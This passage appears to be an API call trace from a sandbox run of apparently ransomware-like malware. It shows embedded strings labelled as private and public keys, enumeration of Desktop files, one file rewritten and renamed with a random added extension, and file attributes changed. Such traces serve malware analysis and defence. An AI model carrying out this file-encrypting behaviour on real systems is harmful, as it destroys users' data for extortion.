OeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.886] GetCurrentThreadId () returned 0xa30 [0126.886] GetCurrentThreadId () returned 0xa30 [0126.886] GetCurrentThreadId () returned 0xa30 [0126.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.887] GetCurrentThreadId () returned 0xa30 [0126.887] GetCurrentThreadId () returned 0xa30 [0126.887] GetCurrentThreadId () returned 0xa30 [0126.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhemlnuwsxt.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.887] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.888] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.888] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x58d4 [0126.888] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.888] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x58d4, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x58d4, lpOverlapped=0x0) returned 1 [0126.890] CloseHandle (hObject=0x120) returned 1 [0126.891] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhemlnuwsxt.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.894] WriteFile (in: hFile=0x120, lpBuffer=0x1efefa0*, nNumberOfBytesToWrite=0x58d4, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efefa0*, lpNumberOfBytesWritten=0x18f978*=0x58d4, lpOverlapped=0x0) returned 1 [0126.897] CloseHandle (hObject=0x120) returned 1 [0126.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhemlnuwsxt.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hHeMlnuwSXt.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhemlnuwsxt.avi.zv7un")) returned 1 [0126.900] GetCurrentThreadId () returned 0xa30 [0126.900] GetCurrentThreadId () returned 0xa30 [0126.900] GetCurrentThreadId () returned 0xa30 [0126.900] GetCurrentThreadId () returned 0xa30 [0126.901] GetCurrentThreadId () returned 0xa30 [0126.901] GetCurrentThreadId () returned 0xa30 [0126.901] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x985b44d0, ftCreationTime.dwHighDateTime=0x1d5df9f, ftLastAccessTime.dwLowDateTime=0x86c9d440, ftLastAccessTime.dwHighDateTime=0x1d5de58, ftLastWriteTime.dwLowDateTime=0x86c9d440, ftLastWriteTime.dwHighDateTime=0x1d5de58, nFileSizeHigh=0x0, nFileSizeLow=0xaa28, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="Hjea DQUQSLT3A.odp", cAlternateFileName="HJEADQ~1.ODP")) returned 1 [0126.901] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.901] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.901] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x927ef110, ftCreationTime.dwHighDateTime=0x1d5e396, ftLastAccessTime.dwLowDateTime=0xd93e4dc0, ftLastAccessTime.dwHighDateTime=0x1d5deba, ftLastWriteTime.dwLowDateTime=0xd93e4dc0, ftLastWriteTime.dwHighDateTime=0x1d5deba, nFileSizeHigh=0x0, nFileSizeLow=0x1b4c, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="HnqWON3eIA41_qk.mkv", cAlternateFileName="HNQWON~1.MKV")) returned 1 [0126.901] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.901] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqwon3eia41_qk.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x927ef110, ftCreationTime.dwHighDateTime=0x1d5e396, ftLastAccessTime.dwLowDateTime=0xd93e4dc0, ftLastAccessTime.dwHighDateTime=0x1d5deba, ftLastWriteTime.dwLowDateTime=0xd93e4dc0, ftLastWriteTime.dwHighDateTime=0x1d5deba, nFileSizeHigh=0x0, nFileSizeLow=0x1b4c)) returned 1 [0126.901] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqwon3eia41_qk.mkv")) returned 0x20 [0126.901] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv", dwFileAttributes=0x80) returned 1 [0126.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQ